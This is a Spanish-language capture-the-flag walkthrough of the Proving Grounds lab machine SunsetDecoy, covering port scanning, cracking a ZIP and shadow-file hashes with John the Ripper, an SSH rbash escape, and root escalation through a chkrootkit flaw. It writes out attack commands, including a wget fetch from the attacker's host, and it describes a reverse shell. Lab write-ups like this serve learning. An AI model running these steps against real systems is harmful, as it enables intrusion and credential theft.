🟢SunsetDecoy

Write-up de la máquina SunsetDecoy de Proving Grounds #writeup #walkthrough

Enumeración

NMAP

Comenzamos realizando un escaneo rápido de los puertos que tiene abiertos la máquina víctima.

nmap -p- --open -vvv -Pn -n --min-rate 2000 192.168.193.85

Realizamos un escaneo en profundidad de los servicios abiertos.

nmap -p22,80 -sVC -vv -Pn -n 192.168.193.85 

Existen 2 puertos abiertos en el equipo target.

  • Puerto 22 -> SSH -> OpenSSH 7.9

  • Puerto 80 -> HTTP -> Apache httpd 2.4.38

Interesante también el directorio Index of/ y el archivo ZIP save.zip

Enumeración Web

Vamos a ver el contenido del puerto 80 en el naveador Web.

Es el directorio abierto con el archivo ZIP que podiamos ver en el resultado del escaneo de servicios de NMAP. El siguiente paso será realizar una búsqueda de directorios disponibles en el sitio Web con la herramienta dirsearch.

Explotación

No hay más directorios disponibles en el sitio Web. Vamos a descargar el archivo ZIP para ver su contenido.

Necesitamos una password para descomprimir el archivo. ¿Cómo podemos obtener esta password? Vamos a utilizar "zip2john" que nos ayudará a extraer el hash del archivo ZIP y posteriormente descifraremos el hash con "John The Ripper" y el diccionario "rockyou.txt".

Vamos a ello. Comenzamos extrayendo el hash de la contaseña del archivo ZIP.

zip2john save.zip > passhash.txt

El siguiente paso será descifrar el hash con john.

john --wordlist='/home/kali/rockyou.txt' passhash.txt

La contraseña del archivo ZIP es "manuel". Una vez tenemos la contraseña, vamos a descomprimir el archivo ZIP

En los archivos extraidos del ZIP encontramos una copia de seguridad de varios archivos del sistema.

Abrimos los diferentes archivos hasta que llegamos al archivo /etc/shadow que encontramos hashes de contraseñas.

Tenemos dos hashes de contraseña, para el usuario root y el usuario 296640a3b825115a47b68fc44501c828. Copiamos los dos hashes en un archivo al que llamaremos hashes.txt. Estos hashes los descifraremos con john y el diccionario rockyou.txt

john --wordlist='/home/kali/rockyou.txt' hashes.txt

Conexión como usuario 296640a3b825115a47b68fc44501c828

Una vez obtenida la contraseña para el usuario 296640a3b825115a47b68fc44501c828, vamos a conectarnos a la máquina objetivo utilizando SSH (recordamos que el puerto 22 estaba abierto en el escaneo inicial de servicios).

Pero esto genera una shell bash con limitaciones (rbash).

Para escapar de esta limitación, añadimos -t "bash –noprofile" al comando de conexión de SSH.

ssh [email protected] -t "bash --noprofile"

Elevación de privilegios

Enumeramos los archivos existentes en el directorio del usuario y encontramos un binario llamado " honeypot.decoy ". Lo ejecutamos, usamos la opción 5 y vemos un aviso de que se ejecutará en un minuto.

Vamos a monitorizar los procesos que se están ejecutando en la máquina. Para ello vamos a utilizar pspy.

Antes de descargar el binario necesario, debemos asegurarnos de la estructura del sistema. Esto lo vamos a realizar con uname -a.

Vamos a descargar el ejecutable para sistemas con estructura x64.

Una vez descargado este binario, vamos a enviarlo a la máquina objetivo utilizando un servidor HTTP con Python.

python3 -m http.server 4444

Y ejecutamos esto en la máquina víctima.

/bin/wget http://192.168.49.193:4444/pspy64

Damos privilegios al archivo pspy64

/usr/bin/chmod +x pspy64

Ejecutamos el script.

PSpy es una herramienta de monitoreo de procesos que sirve para verificar qué servicios se están ejecutando en el sistema.

Ejecutamos el binario honeypot.decoy y posteriormente PSpy.

Después de 1 minuto tenemos los primeros resultados interesantes. Tenemos una versión de chkrootkit

Vamos a buscar información sobre la versión de este binario. Encontramos este exploit que permite escalar privilegios como root.

Debemos crear un archivo llamado "update" donde insertaremos un shell inverso. Le daremos permisos de ejecución y esperaremos 60 segundos con un netcat escuchando en el puerto 1337 de nuestro Kali.

Volvemos a ejecutar el binario honeypot.decoy y esperamos a la escucha hasta que se ejecute el archivo "update" que debe darnos acceso a la máquina como usuario con máximos privilegios.

Vamos a tratar la tty para hacerla un poco más fácil de trabajar.

python -c 'import pty; pty.spawn("/bin/bash")'

Solo quedará buscar la flag.

Y ya tendremos acabado el CTF SunsetDecoy.

Last updated